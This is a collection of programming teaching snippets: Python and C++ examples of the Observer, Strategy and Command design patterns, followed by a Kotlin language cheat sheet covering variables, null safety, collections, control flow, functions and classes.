class Newspaper(Observer):
    def __init__(self, name: str):
        self._name = name
        self._headlines: List[str] = []

    def update(self, message: str) -> None:
        print(f"Newspaper [{self._name}]: Printing news - {message}")
        self._headlines.append(message)

    def get_name(self) -> str:
        return self._name

    def print_archive(self) -> None:
        print(f"\n{self._name} Archive:")
        for i, headline in enumerate(self._headlines, 1):
            print(f"  {i}. {headline}")

# Weather Station example
class WeatherStation:
    def __init__(self):
        self._observers: WeakSet[Observer] = WeakSet()
        self._temperature: float = 0.0
        self._humidity: float = 0.0
        self._pressure: float = 0.0

    def attach(self, observer: Observer) -> None:
        self._observers.add(observer)

    def detach(self, observer: Observer) -> None:
        self._observers.discard(observer)

    def set_measurements(self, temperature: float, humidity: float, pressure: float) -> None:
        self._temperature = temperature
        self._humidity = humidity
        self._pressure = pressure
        self._measurements_changed()

    def _measurements_changed(self) -> None:
        data = f"Temp: {self._temperature}°C, Humidity: {self._humidity}%, Pressure: {self._pressure} hPa"
        for observer in self._observers:
            observer.update(data)

class WeatherDisplay(Observer):
    def __init__(self, name: str):
        self._name = name

    def update(self, message: str) -> None:
        print(f"Display [{self._name}]: {message}")

    def get_name(self) -> str:
        return self._name

# Usage
if __name__ == "__main__":
    # News agency example
    news_agency = NewsAgency()

    cnn = NewsChannel("CNN")
    bbc = NewsChannel("BBC")
    nyt = Newspaper("New York Times")

    news_agency.attach(cnn)
    news_agency.attach(bbc)
    news_agency.attach(nyt)

    news_agency.publish_news("Breaking: Major tech announcement!")

    print("\nDetaching CNN...")
    news_agency.detach(cnn)

    news_agency.publish_news("Update: Market reaches new high")

    nyt.print_archive()

    print("\n---\n")

    # Weather station
    station = WeatherStation()

    home_display = WeatherDisplay("Home")
    office_display = WeatherDisplay("Office")

    station.attach(home_display)
    station.attach(office_display)

    print("Weather update 1:")
    station.set_measurements(25.5, 65.0, 1013.2)

    print("\nWeather update 2:")
    station.set_measurements(27.0, 70.0, 1012.8)

#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <algorithm>

// Strategy interface
class SortStrategy {
public:
    virtual ~SortStrategy() = default;
    virtual void sort(std::vector<int>& data) = 0;
    virtual std::string getName() const = 0;
};

// Concrete Strategies
class BubbleSort : public SortStrategy {
public:
    void sort(std::vector<int>& data) override {
        std::cout << "Sorting using Bubble Sort" << std::endl;
        for (size_t i = 0; i < data.size(); ++i) {
            for (size_t j = 0; j < data.size() - i - 1; ++j) {
                if (data[j] > data[j + 1]) {
                    std::swap(data[j], data[j + 1]);
                }
            }
        }
    }

    std::string getName() const override {
        return "Bubble Sort";
    }
};

class QuickSort : public SortStrategy {
public:
    void sort(std::vector<int>& data) override {
        std::cout << "Sorting using Quick Sort" << std::endl;
        std::sort(data.begin(), data.end());
    }

    std::string getName() const override {
        return "Quick Sort";
    }
};

class MergeSort : public SortStrategy {
public:
    void sort(std::vector<int>& data) override {
        std::cout << "Sorting using Merge Sort" << std::endl;
        std::stable_sort(data.begin(), data.end());
    }

    std::string getName() const override {
        return "Merge Sort";
    }
};

// Context
class DataSorter {
public:
    void setStrategy(std::unique_ptr<SortStrategy> strategy) {
        strategy_ = std::move(strategy);
    }

    void sort(std::vector<int>& data) {
        if (strategy_) {
            strategy_->sort(data);
        } else {
            std::cout << "No sorting strategy set!" << std::endl;
        }
    }

private:
    std::unique_ptr<SortStrategy> strategy_;
};

// Payment example
class PaymentStrategy {
public:
    virtual ~PaymentStrategy() = default;
    virtual void pay(double amount) = 0;
};

class CreditCardPayment : public PaymentStrategy {
public:
    CreditCardPayment(const std::string& number, const std::string& cvv)
        : cardNumber_(number), cvv_(cvv) {}

    void pay(double amount) override {
        std::cout << "Paid $" << amount << " using Credit Card ending in "
                  << cardNumber_.substr(cardNumber_.length() - 4) << std::endl;
    }

private:
    std::string cardNumber_;
    std::string cvv_;
};

class PayPalPayment : public PaymentStrategy {
public:
    PayPalPayment(const std::string& email) : email_(email) {}

    void pay(double amount) override {
        std::cout << "Paid $" << amount << " using PayPal account " << email_ << std::endl;
    }

private:
    std::string email_;
};

class ShoppingCart {
public:
    void setPaymentStrategy(std::unique_ptr<PaymentStrategy> strategy) {
        paymentStrategy_ = std::move(strategy);
    }

    void checkout(double amount) {
        if (paymentStrategy_) {
            paymentStrategy_->pay(amount);
        }
    }

private:
    std::unique_ptr<PaymentStrategy> paymentStrategy_;
};

// Usage
int main() {
    // Sorting example
    std::vector<int> data = {64, 34, 25, 12, 22, 11, 90};

    DataSorter sorter;

    sorter.setStrategy(std::make_unique<BubbleSort>());
    auto data1 = data;
    sorter.sort(data1);

    sorter.setStrategy(std::make_unique<QuickSort>());
    auto data2 = data;
    sorter.sort(data2);

    std::cout << "\n---\n\n";

    // Payment example
    ShoppingCart cart;

    cart.setPaymentStrategy(std::make_unique<CreditCardPayment>("1234567890123456", "123"));
    cart.checkout(100.0);

    cart.setPaymentStrategy(std::make_unique<PayPalPayment>("user@example.com"));
    cart.checkout(50.0);

    return 0;
}

from abc import ABC, abstractmethod
from typing import List

# Strategy interface
class SortStrategy(ABC):
    @abstractmethod
    def sort(self, data: List[int]) -> None:
        pass

    @abstractmethod
    def get_name(self) -> str:
        pass

# Concrete Strategies
class BubbleSort(SortStrategy):
    def sort(self, data: List[int]) -> None:
        print("Sorting using Bubble Sort")
        n = len(data)
        for i in range(n):
            for j in range(0, n - i - 1):
                if data[j] > data[j + 1]:
                    data[j], data[j + 1] = data[j + 1], data[j]

    def get_name(self) -> str:
        return "Bubble Sort"

class QuickSort(SortStrategy):
    def sort(self, data: List[int]) -> None:
        print("Sorting using Quick Sort")
        data.sort()

    def get_name(self) -> str:
        return "Quick Sort"

# Context
class DataSorter:
    def __init__(self, strategy: SortStrategy = None):
        self._strategy = strategy

    def set_strategy(self, strategy: SortStrategy) -> None:
        self._strategy = strategy

    def sort(self, data: List[int]) -> None:
        if self._strategy:
            self._strategy.sort(data)
        else:
            print("No sorting strategy set!")

# Payment example
class PaymentStrategy(ABC):
    @abstractmethod
    def pay(self, amount: float) -> None:
        pass

class CreditCardPayment(PaymentStrategy):
    def __init__(self, card_number: str, cvv: str):
        self.card_number = card_number
        self.cvv = cvv

    def pay(self, amount: float) -> None:
        print(f"Paid ${amount} using Credit Card ending in {self.card_number[-4:]}")

class PayPalPayment(PaymentStrategy):
    def __init__(self, email: str):
        self.email = email

    def pay(self, amount: float) -> None:
        print(f"Paid ${amount} using PayPal account {self.email}")

class ShoppingCart:
    def __init__(self):
        self._payment_strategy: PaymentStrategy = None

    def set_payment_strategy(self, strategy: PaymentStrategy) -> None:
        self._payment_strategy = strategy

    def checkout(self, amount: float) -> None:
        if self._payment_strategy:
            self._payment_strategy.pay(amount)

# Usage
if __name__ == "__main__":
    # Sorting
    data = [64, 34, 25, 12, 22, 11, 90]

    sorter = DataSorter()

    sorter.set_strategy(BubbleSort())
    data1 = data.copy()
    sorter.sort(data1)

    sorter.set_strategy(QuickSort())
    data2 = data.copy()
    sorter.sort(data2)

    print("\n---\n")

    # Payment
    cart = ShoppingCart()

    cart.set_payment_strategy(CreditCardPayment("1234567890123456", "123"))
    cart.checkout(100.0)

    cart.set_payment_strategy(PayPalPayment("user@example.com"))
    cart.checkout(50.0)

#include <iostream>
#include <memory>
#include <string>
#include <vector>
#include <stack>

// Receiver
class Light {
public:
    void on() {
        isOn_ = true;
        std::cout << "Light is ON" << std::endl;
    }

    void off() {
        isOn_ = false;
        std::cout << "Light is OFF" << std::endl;
    }

    bool isOn() const { return isOn_; }

private:
    bool isOn_ = false;
};

// Command interface
class Command {
public:
    virtual ~Command() = default;
    virtual void execute() = 0;
    virtual void undo() = 0;
};

// Concrete Commands
class LightOnCommand : public Command {
public:
    LightOnCommand(std::shared_ptr<Light> light) : light_(light) {}

    void execute() override {
        light_->on();
    }

    void undo() override {
        light_->off();
    }

private:
    std::shared_ptr<Light> light_;
};

class LightOffCommand : public Command {
public:
    LightOffCommand(std::shared_ptr<Light> light) : light_(light) {}

    void execute() override {
        light_->off();
    }

    void undo() override {
        light_->on();
    }

private:
    std::shared_ptr<Light> light_;
};

// Text editor example
class TextEditor {
public:
    void insertText(const std::string& text) {
        content_ += text;
        std::cout << "Inserted: " << text << std::endl;
    }

    void deleteText(size_t length) {
        if (length <= content_.length()) {
            deletedText_ = content_.substr(content_.length() - length);
            content_ = content_.substr(0, content_.length() - length);
            std::cout << "Deleted: " << deletedText_ << std::endl;
        }
    }

    std::string getDeletedText() const { return deletedText_; }
    std::string getContent() const { return content_; }

    void print() const {
        std::cout << "Content: \"" << content_ << "\"" << std::endl;
    }

private:
    std::string content_;
    std::string deletedText_;
};

class InsertCommand : public Command {
public:
    InsertCommand(std::shared_ptr<TextEditor> editor, const std::string& text)
        : editor_(editor), text_(text) {}

    void execute() override {
        editor_->insertText(text_);
    }

    void undo() override {
        editor_->deleteText(text_.length());
    }

private:
    std::shared_ptr<TextEditor> editor_;
    std::string text_;
};

class DeleteCommand : public Command {
public:
    DeleteCommand(std::shared_ptr<TextEditor> editor, size_t length)
        : editor_(editor), length_(length) {}

    void execute() override {
        editor_->deleteText(length_);
        deletedText_ = editor_->getDeletedText();
    }

    void undo() override {
        editor_->insertText(deletedText_);
    }

private:
    std::shared_ptr<TextEditor> editor_;
    size_t length_;
    std::string deletedText_;
};

// Invoker
class RemoteControl {
public:
    void setCommand(std::shared_ptr<Command> command) {
        command_ = command;
    }

    void pressButton() {
        if (command_) {
            command_->execute();
            history_.push(command_);
        }
    }

    void pressUndo() {
        if (!history_.empty()) {
            auto command = history_.top();
            command->undo();
            history_.pop();
        }
    }

private:
    std::shared_ptr<Command> command_;
    std::stack<std::shared_ptr<Command>> history_;
};

// Usage
int main() {
    // Light control example
    auto livingRoomLight = std::make_shared<Light>();

    auto lightOn = std::make_shared<LightOnCommand>(livingRoomLight);
    auto lightOff = std::make_shared<LightOffCommand>(livingRoomLight);

    RemoteControl remote;

    remote.setCommand(lightOn);
    remote.pressButton();

    remote.setCommand(lightOff);
    remote.pressButton();

    remote.pressUndo();  // Undo last command

    std::cout << "\n---\n\n";

    // Text editor example
    auto editor = std::make_shared<TextEditor>();

    std::stack<std::shared_ptr<Command>> commandHistory;

    auto insertHello = std::make_shared<InsertCommand>(editor, "Hello ");
    insertHello->execute();
    commandHistory.push(insertHello);

    auto insertWorld = std::make_shared<InsertCommand>(editor, "World!");
    insertWorld->execute();
    commandHistory.push(insertWorld);

    editor->print();

    // Undo last two commands
    while (!commandHistory.empty()) {
        commandHistory.top()->undo();
        commandHistory.pop();
    }

    editor->print();

    return 0;
}

from abc import ABC, abstractmethod
from typing import List

# Receiver
class Light:
    def __init__(self):
        self._is_on = False

    def on(self) -> None:
        self._is_on = True
        print("Light is ON")

    def off(self) -> None:
        self._is_on = False
        print("Light is OFF")

    def is_on(self) -> bool:
        return self._is_on

# Command interface
class Command(ABC):
    @abstractmethod
    def execute(self) -> None:
        pass

    @abstractmethod
    def undo(self) -> None:
        pass

# Concrete Commands
class LightOnCommand(Command):
    def __init__(self, light: Light):
        self.light = light

    def execute(self) -> None:
        self.light.on()

    def undo(self) -> None:
        self.light.off()

class LightOffCommand(Command):
    def __init__(self, light: Light):
        self.light = light

    def execute(self) -> None:
        self.light.off()

    def undo(self) -> None:
        self.light.on()

# Text editor
class TextEditor:
    def __init__(self):
        self._content = ""
        self._deleted_text = ""

    def insert_text(self, text: str) -> None:
        self._content += text
        print(f"Inserted: {text}")

    def delete_text(self, length: int) -> None:
        if length <= len(self._content):
            self._deleted_text = self._content[-length:]
            self._content = self._content[:-length]
            print(f"Deleted: {self._deleted_text}")

    def get_deleted_text(self) -> str:
        return self._deleted_text

    def get_content(self) -> str:
        return self._content

    def print_content(self) -> None:
        print(f"Content: \"{self._content}\"")

class InsertCommand(Command):
    def __init__(self, editor: TextEditor, text: str):
        self.editor = editor
        self.text = text

    def execute(self) -> None:
        self.editor.insert_text(self.text)

    def undo(self) -> None:
        self.editor.delete_text(len(self.text))

# Invoker
class RemoteControl:
    def __init__(self):
        self._command: Command = None
        self._history: List[Command] = []

    def set_command(self, command: Command) -> None:
        self._command = command

    def press_button(self) -> None:
        if self._command:
            self._command.execute()
            self._history.append(self._command)

    def press_undo(self) -> None:
        if self._history:
            command = self._history.pop()
            command.undo()

# Usage
if __name__ == "__main__":
    # Light control
    living_room_light = Light()

    light_on = LightOnCommand(living_room_light)
    light_off = LightOffCommand(living_room_light)

    remote = RemoteControl()

    remote.set_command(light_on)
    remote.press_button()

    remote.set_command(light_off)
    remote.press_button()

    remote.press_undo()  # Undo

    print("\n---\n")

    # Text editor
    editor = TextEditor()
    command_history = []

    insert_hello = InsertCommand(editor, "Hello ")
    insert_hello.execute()
    command_history.append(insert_hello)

    insert_world = InsertCommand(editor, "World!")
    insert_world.execute()
    command_history.append(insert_world)

    editor.print_content()

    # Undo
    while command_history:
        command_history.pop().undo()

    editor.print_content()

// Immutable variable (read-only)
val name = "Alice"
val age = 30
// name = "Bob"  // Error! Cannot reassign

// Mutable variable
var count = 0
count = 1  // OK

// Type annotations (optional due to type inference)
val name: String = "Alice"
val age: Int = 30
val pi: Double = 3.14159
val isActive: Boolean = true
val initial: Char = 'A'

// Numeric types
val byte: Byte = 127
val short: Short = 32767
val int: Int = 2147483647
val long: Long = 9223372036854775807L
val float: Float = 3.14f
val double: Double = 3.14159

// Type conversion (explicit)
val x: Int = 10
val y: Long = x.toLong()
val z: Double = x.toDouble()
val str: String = x.toString()

// Constants (compile-time)
const val MAX_SIZE = 100
const val API_KEY = "your-api-key"

// Late initialization
lateinit var user: User
// user must be initialized before use

// Lazy initialization
val heavyObject: ExpensiveObject by lazy {
    ExpensiveObject()  // Initialized on first access
}

// Non-nullable (default)
var name: String = "Alice"
// name = null  // Compilation error!

// Nullable
var nullableName: String? = "Bob"
nullableName = null  // OK

// Safe call operator (?.)
val length = nullableName?.length  // Returns Int? (null if nullableName is null)

// Elvis operator (?:) - provide default value
val len = nullableName?.length ?: 0  // Returns 0 if null

// Not-null assertion (!!)
val len2 = nullableName!!.length  // Throws NPE if null (use sparingly)

// Safe cast (as?)
val obj: Any = "Hello"
val str: String? = obj as? String  // null if cast fails
val num: Int? = obj as? Int  // null

// Let function (execute block if not null)
nullableName?.let {
    println("Name is $it")
    println("Length is ${it.length}")
}

// Check for null
if (nullableName != null) {
    // Smart cast: nullableName is now String (non-nullable)
    println(nullableName.length)
}

// String templates
val name = "Alice"
val age = 30
val message = "My name is $name and I am $age years old"
val calculation = "Sum: ${2 + 2}"

// Multiline strings (triple quotes)
val text = """
    Line 1
    Line 2
    Line 3
""".trimIndent()

// Raw strings (no escaping needed)
val regex = """C:\Users\name\Documents"""
val json = """
    {
        "name": "Alice",
        "age": 30
    }
""".trimIndent()

// String operations
val str = "Hello, World!"
val length = str.length
val upper = str.uppercase()  // HELLO, WORLD!
val lower = str.lowercase()  // hello, world!
val trimmed = "  hello  ".trim()  // "hello"
val substring = str.substring(0, 5)  // "Hello"
val replaced = str.replace("World", "Kotlin")  // "Hello, Kotlin!"
val contains = str.contains("World")  // true
val startsWith = str.startsWith("Hello")  // true
val endsWith = str.endsWith("!")  // true

// Split string
val parts = "a,b,c".split(",")  // List<String>

// String to number
val num = "42".toInt()
val double = "3.14".toDouble()
val numOrNull = "abc".toIntOrNull()  // null (safe conversion)

// String comparison
val str1 = "hello"
val str2 = "HELLO"
val equals = str1 == str2  // false
val equalsIgnoreCase = str1.equals(str2, ignoreCase = true)  // true

// StringBuilder
val sb = StringBuilder()
sb.append("Hello")
sb.append(" ")
sb.append("World")
val result = sb.toString()

// Join strings
val words = listOf("Kotlin", "is", "awesome")
val sentence = words.joinToString(" ")  // "Kotlin is awesome"
val csv = words.joinToString(", ")  // "Kotlin, is, awesome"

// Immutable list (read-only)
val numbers = listOf(1, 2, 3, 4, 5)
val names = listOf("Alice", "Bob", "Charlie")
val empty = emptyList<String>()

// Accessing elements
val first = numbers[0]  // 1
val second = numbers.get(1)  // 2
val firstOrNull = numbers.firstOrNull()  // 1
val lastOrNull = numbers.lastOrNull()  // 5
val elementOrNull = numbers.getOrNull(10)  // null

// List properties
val size = numbers.size
val isEmpty = numbers.isEmpty()
val isNotEmpty = numbers.isNotEmpty()

// Mutable list
val mutableList = mutableListOf(1, 2, 3)
mutableList.add(4)  // [1, 2, 3, 4]
mutableList.addAll(listOf(5, 6))  // [1, 2, 3, 4, 5, 6]
mutableList.remove(3)  // [1, 2, 4, 5, 6]
mutableList.removeAt(0)  // [2, 4, 5, 6]
mutableList.clear()  // []
mutableList[0] = 10  // Update element

// Create mutable list from immutable
val mutable = numbers.toMutableList()

// List operations
val contains = numbers.contains(3)  // true
val indexOf = numbers.indexOf(3)  // 2
val lastIndexOf = numbers.lastIndexOf(3)
val subList = numbers.subList(1, 4)  // [2, 3, 4]

// Iteration
for (num in numbers) {
    println(num)
}

for ((index, value) in numbers.withIndex()) {
    println("$index: $value")
}

numbers.forEach { println(it) }
numbers.forEachIndexed { index, value ->
    println("$index: $value")
}

// List of specific type
val strings: List<String> = listOf("a", "b", "c")
val ints: List<Int> = listOf(1, 2, 3)

// Immutable set (read-only, unique elements)
val numbers = setOf(1, 2, 3, 4, 5)
val duplicates = setOf(1, 1, 2, 2, 3)  // [1, 2, 3]

// Mutable set
val mutableSet = mutableSetOf(1, 2, 3)
mutableSet.add(4)  // true (added)
mutableSet.add(2)  // false (already exists)
mutableSet.remove(3)  // true (removed)
mutableSet.clear()

// Set operations
val set1 = setOf(1, 2, 3, 4)
val set2 = setOf(3, 4, 5, 6)

val union = set1 union set2  // [1, 2, 3, 4, 5, 6]
val intersect = set1 intersect set2  // [3, 4]
val subtract = set1 subtract set2  // [1, 2]

// Check membership
val contains = 3 in numbers  // true
val notContains = 10 !in numbers  // true

// Convert list to set (removes duplicates)
val list = listOf(1, 2, 2, 3, 3, 3)
val uniqueSet = list.toSet()  // [1, 2, 3]

// Immutable map (read-only)
val map = mapOf(
    "name" to "Alice",
    "age" to "30",
    "city" to "NYC"
)

val ages = mapOf(
    1 to "one",
    2 to "two",
    3 to "three"
)

// Accessing values
val name = map["name"]  // "Alice" (String?)
val age = map.get("age")  // "30"
val country = map["country"]  // null
val countryOrDefault = map.getOrDefault("country", "USA")

// Mutable map
val mutableMap = mutableMapOf(
    "name" to "Alice",
    "age" to "30"
)

mutableMap["email"] = "alice@example.com"  // Add/update
mutableMap.put("phone", "123-456-7890")
mutableMap.remove("age")
mutableMap.clear()

// Map operations
val size = map.size
val isEmpty = map.isEmpty()
val containsKey = map.containsKey("name")
val containsValue = map.containsValue("Alice")
val keys = map.keys  // Set<String>
val values = map.values  // Collection<String>
val entries = map.entries  // Set<Map.Entry<String, String>>

// Iteration
for ((key, value) in map) {
    println("$key: $value")
}

map.forEach { (key, value) ->
    println("$key: $value")
}

map.forEach { entry ->
    println("${entry.key}: ${entry.value}")
}

// Get or put
val computedValue = mutableMap.getOrPut("computed") {
    "default value"  // Only computed if key doesn't exist
}

// Filter map
val filtered = map.filter { (key, value) ->
    key.startsWith("n")
}

// Map values
val upperValues = map.mapValues { (_, value) ->
    value.uppercase()
}

// Basic if
val age = 18
if (age >= 18) {
    println("Adult")
} else {
    println("Minor")
}

// If as expression
val status = if (age >= 18) "Adult" else "Minor"

// Multi-line if expression
val result = if (age < 13) {
    "Child"
} else if (age < 20) {
    "Teenager"
} else {
    "Adult"
}

// If with multiple conditions
if (age >= 18 && age < 65) {
    println("Working age")
}

// Null checks
val name: String? = "Alice"
if (name != null && name.length > 0) {
    println("Name is $name")
}

// Ranges
if (age in 13..19) {
    println("Teenager")
}

if (age !in 0..17) {
    println("Adult")
}

// Basic when
val day = 3
when (day) {
    1 -> println("Monday")
    2 -> println("Tuesday")
    3 -> println("Wednesday")
    4 -> println("Thursday")
    5 -> println("Friday")
    6, 7 -> println("Weekend")
    else -> println("Invalid day")
}

// When as expression
val dayName = when (day) {
    1 -> "Monday"
    2 -> "Tuesday"
    3 -> "Wednesday"
    4 -> "Thursday"
    5 -> "Friday"
    6, 7 -> "Weekend"
    else -> "Invalid"
}

// When with ranges
val score = 85
val grade = when (score) {
    in 90..100 -> "A"
    in 80..89 -> "B"
    in 70..79 -> "C"
    in 60..69 -> "D"
    else -> "F"
}

// When with conditions
val x = 15
when {
    x < 0 -> println("Negative")
    x == 0 -> println("Zero")
    x > 0 && x < 10 -> println("Small positive")
    x >= 10 -> println("Large positive")
}

// When with type checking
fun describe(obj: Any): String = when (obj) {
    is String -> "String of length ${obj.length}"
    is Int -> "Integer: $obj"
    is Boolean -> "Boolean: $obj"
    is List<*> -> "List of size ${obj.size}"
    else -> "Unknown type"
}

// When with smart casts
fun process(value: Any) {
    when (value) {
        is String -> println(value.uppercase())  // Smart cast to String
        is Int -> println(value * 2)  // Smart cast to Int
        is List<*> -> println(value.size)  // Smart cast to List
    }
}

// When without argument
val temperature = 25
when {
    temperature < 0 -> println("Freezing")
    temperature < 15 -> println("Cold")
    temperature < 25 -> println("Moderate")
    else -> println("Hot")
}

// For loop with range
for (i in 1..5) {
    println(i)  // 1, 2, 3, 4, 5
}

// For loop with until (exclusive)
for (i in 1 until 5) {
    println(i)  // 1, 2, 3, 4
}

// For loop with step
for (i in 1..10 step 2) {
    println(i)  // 1, 3, 5, 7, 9
}

// Downward range
for (i in 5 downTo 1) {
    println(i)  // 5, 4, 3, 2, 1
}

// Iterate over list
val names = listOf("Alice", "Bob", "Charlie")
for (name in names) {
    println(name)
}

// Iterate with index
for ((index, name) in names.withIndex()) {
    println("$index: $name")
}

// Iterate over map
val map = mapOf("a" to 1, "b" to 2, "c" to 3)
for ((key, value) in map) {
    println("$key: $value")
}

// While loop
var count = 0
while (count < 5) {
    println(count)
    count++
}

// Do-while loop
var x = 0
do {
    println(x)
    x++
} while (x < 5)

// Break and continue
for (i in 1..10) {
    if (i == 3) continue  // Skip 3
    if (i == 8) break  // Stop at 8
    println(i)
}

// Labeled break and continue
outer@ for (i in 1..5) {
    for (j in 1..5) {
        if (j == 3) break@outer  // Break outer loop
        println("$i, $j")
    }
}

// Repeat
repeat(3) {
    println("Hello")  // Prints 3 times
}

repeat(5) { index ->
    println("Iteration $index")
}

// Ranges
val range1 = 1..10  // 1 to 10 (inclusive)
val range2 = 1 until 10  // 1 to 9
val range3 = 10 downTo 1  // 10 to 1
val range4 = 1..10 step 2  // 1, 3, 5, 7, 9

val inRange = 5 in 1..10  // true
val notInRange = 15 !in 1..10  // true

// Character ranges
for (c in 'a'..'z') {
    print(c)  // abcdefghijklmnopqrstuvwxyz
}

// Simple function
fun greet(name: String): String {
    return "Hello, $name!"
}

// Single-expression function
fun add(a: Int, b: Int): Int = a + b

// Function with inferred return type
fun multiply(a: Int, b: Int) = a * b

// Unit return type (like void in Java)
fun printMessage(message: String): Unit {
    println(message)
}

// Unit can be omitted
fun printMessage2(message: String) {
    println(message)
}

// Default parameters
fun greet(name: String = "World", greeting: String = "Hello"): String {
    return "$greeting, $name!"
}

val msg1 = greet()  // "Hello, World!"
val msg2 = greet("Alice")  // "Hello, Alice!"
val msg3 = greet("Bob", "Hi")  // "Hi, Bob!"

// Named arguments
val msg4 = greet(greeting = "Hey", name = "Charlie")

// Varargs (variable number of arguments)
fun sum(vararg numbers: Int): Int {
    return numbers.sum()
}

val result = sum(1, 2, 3, 4, 5)  // 15

// Spread operator
val nums = intArrayOf(1, 2, 3)
val total = sum(*nums)  // Spread array as varargs

// Multiple return values (using Pair/Triple)
fun getNameAndAge(): Pair<String, Int> {
    return Pair("Alice", 30)
}

val (name, age) = getNameAndAge()
println("$name is $age years old")

// Using Triple
fun getCoordinates(): Triple<Int, Int, Int> {
    return Triple(10, 20, 30)
}

val (x, y, z) = getCoordinates()

// Using data class for multiple returns
data class User(val name: String, val age: Int, val email: String)

fun getUser(): User {
    return User("Alice", 30, "alice@example.com")
}

// Nothing type (function never returns)
fun fail(message: String): Nothing {
    throw IllegalStateException(message)
}

// Function type
val sum: (Int, Int) -> Int = { a, b -> a + b }
val result = sum(5, 3)  // 8

// Lambda expressions
val multiply = { a: Int, b: Int -> a * b }
val square = { x: Int -> x * x }
val greet = { name: String -> "Hello, $name!" }

// Lambda with single parameter (implicit 'it')
val double: (Int) -> Int = { it * 2 }
val isEven: (Int) -> Boolean = { it % 2 == 0 }

// Multi-line lambda
val calculate = { a: Int, b: Int ->
    val sum = a + b
    val product = a * b
    sum * product  // Last expression is returned
}

// Higher-order function (takes function as parameter)
fun operate(a: Int, b: Int, operation: (Int, Int) -> Int): Int {
    return operation(a, b)
}

val sum = operate(5, 3) { a, b -> a + b }  // 8
val product = operate(5, 3) { a, b -> a * b }  // 15

// Function as return type
fun getOperation(type: String): (Int, Int) -> Int {
    return when (type) {
        "add" -> { a, b -> a + b }
        "multiply" -> { a, b -> a * b }
        else -> { a, b -> 0 }
    }
}

val addFunc = getOperation("add")
val result = addFunc(5, 3)  // 8

// Anonymous function
val sum2 = fun(a: Int, b: Int): Int {
    return a + b
}

// Function references
fun isOdd(x: Int): Boolean = x % 2 == 1

val numbers = listOf(1, 2, 3, 4, 5)
val odds = numbers.filter(::isOdd)  // [1, 3, 5]

// Member function reference
val lengths = listOf("a", "abc", "abcdef").map(String::length)  // [1, 3, 6]

// Closure (accessing outer scope)
fun makeCounter(): () -> Int {
    var count = 0
    return {
        count++
        count
    }
}

val counter = makeCounter()
println(counter())  // 1
println(counter())  // 2
println(counter())  // 3

// Inline function (eliminates function call overhead)
inline fun <T> measureTime(block: () -> T): T {
    val start = System.currentTimeMillis()
    val result = block()
    val end = System.currentTimeMillis()
    println("Time taken: ${end - start}ms")
    return result
}

val result = measureTime {
    // Some expensive operation
    Thread.sleep(1000)
    42
}

// noinline (prevent specific lambda from being inlined)
inline fun foo(inlined: () -> Unit, noinline notInlined: () -> Unit) {
    // ...
}

// crossinline (lambda cannot use non-local returns)
inline fun bar(crossinline body: () -> Unit) {
    // ...
}

// Infix notation (call without dot and parentheses)
infix fun Int.times(str: String) = str.repeat(this)

val result = 3 times "Hello "  // "Hello Hello Hello "

// Another example
infix fun String.shouldBe(expected: String) {
    if (this != expected) {
        throw AssertionError("Expected $expected but got $this")
    }
}

"hello" shouldBe "hello"  // OK

// Common infix functions
val pair = "name" to "Alice"  // 'to' is infix
val range = 1 until 10  // 'until' is infix

// Overload operators
data class Point(val x: Int, val y: Int) {
    operator fun plus(other: Point) = Point(x + other.x, y + other.y)
    operator fun minus(other: Point) = Point(x - other.x, y - other.y)
    operator fun times(scale: Int) = Point(x * scale, y * scale)
    operator fun unaryMinus() = Point(-x, -y)
    operator fun inc() = Point(x + 1, y + 1)
    operator fun get(index: Int) = when (index) {
        0 -> x
        1 -> y
        else -> throw IndexOutOfBoundsException()
    }
}

val p1 = Point(10, 20)
val p2 = Point(5, 10)
val p3 = p1 + p2  // Point(15, 30)
val p4 = p1 - p2  // Point(5, 10)
val p5 = p1 * 2  // Point(20, 40)
val p6 = -p1  // Point(-10, -20)
val x = p1[0]  // 10

// Other operators: compareTo, contains, iterator, rangeTo, etc.

// Basic class
class Person {
    var name: String = ""
    var age: Int = 0

    fun greet() {
        println("Hello, I'm $name")
    }
}

val person = Person()
person.name = "Alice"
person.age = 30
person.greet()

// Primary constructor
class Person2(val name: String, var age: Int) {
    init {
        println("Person created: $name, $age")
    }

    fun greet() = "Hello, I'm $name"
}

val person2 = Person2("Alice", 30)

// Constructor with default values
class Person3(
    val name: String = "Unknown",
    var age: Int = 0,
    val email: String = "unknown@example.com"
)

val p1 = Person3("Alice", 30, "alice@example.com")
val p2 = Person3("Bob", 25)
val p3 = Person3(name = "Charlie")

// Secondary constructor
class Person4(val name: String) {
    var age: Int = 0
    var email: String = ""

    constructor(name: String, age: Int) : this(name) {
        this.age = age
    }

    constructor(name: String, age: Int, email: String) : this(name, age) {
        this.email = email
    }
}

// Properties with custom getters and setters
class Rectangle(val width: Int, val height: Int) {
    val area: Int
        get() = width * height

    var maxDimension: Int = 0
        get() = if (width > height) width else height
        set(value) {
            field = if (value >= 0) value else 0
        }
}

// Visibility modifiers
class Example {
    public val publicVar = 1  // Visible everywhere (default)
    private val privateVar = 2  // Visible in this class only
    protected val protectedVar = 3  // Visible in this class and subclasses
    internal val internalVar = 4  // Visible in same module
}

// Open class (can be inherited)
open class Animal(val name: String) {
    open fun sound() {
        println("$name makes a sound")
    }

    open val category: String = "Animal"
}

// Inherit from Animal
class Dog(name: String, val breed: String) : Animal(name) {
    override fun sound() {
        println("$name barks")
    }

    override val category: String = "Mammal"

    fun fetch() {
        println("$name is fetching")
    }
}

class Cat(name: String) : Animal(name) {
    override fun sound() {
        println("$name meows")
    }
}

val dog = Dog("Buddy", "Golden Retriever")
dog.sound()  // "Buddy barks"
dog.fetch()

// Abstract classes
abstract class Shape {
    abstract val area: Double
    abstract fun perimeter(): Double

    // Concrete method
    fun describe() {
        println("Area: $area, Perimeter: ${perimeter()}")
    }
}

class Circle(val radius: Double) : Shape() {
    override val area: Double
        get() = Math.PI * radius * radius

    override fun perimeter(): Double = 2 * Math.PI * radius
}

class Rectangle2(val width: Double, val height: Double) : Shape() {
    override val area: Double
        get() = width * height

    override fun perimeter(): Double = 2 * (width + height)
}

// Prevent further inheritance
final class FinalClass {
    // Cannot be inherited
}

// Interface definition
interface Drawable {
    fun draw()

    // Property in interface
    val color: String

    // Default implementation
    fun describe() {
        println("Drawing with color $color")
    }
}

interface Clickable {
    fun click()
    fun showOff() {
        println("I'm clickable!")
    }
}

// Implement interfaces
class Button : Drawable, Clickable {
    override val color: String = "Blue"

    override fun draw() {
        println("Drawing button")
    }

    override fun click() {
        println("Button clicked")
    }

    // Resolve conflicts when multiple interfaces have same method
    override fun showOff() {
        super<Clickable>.showOff()
    }
}

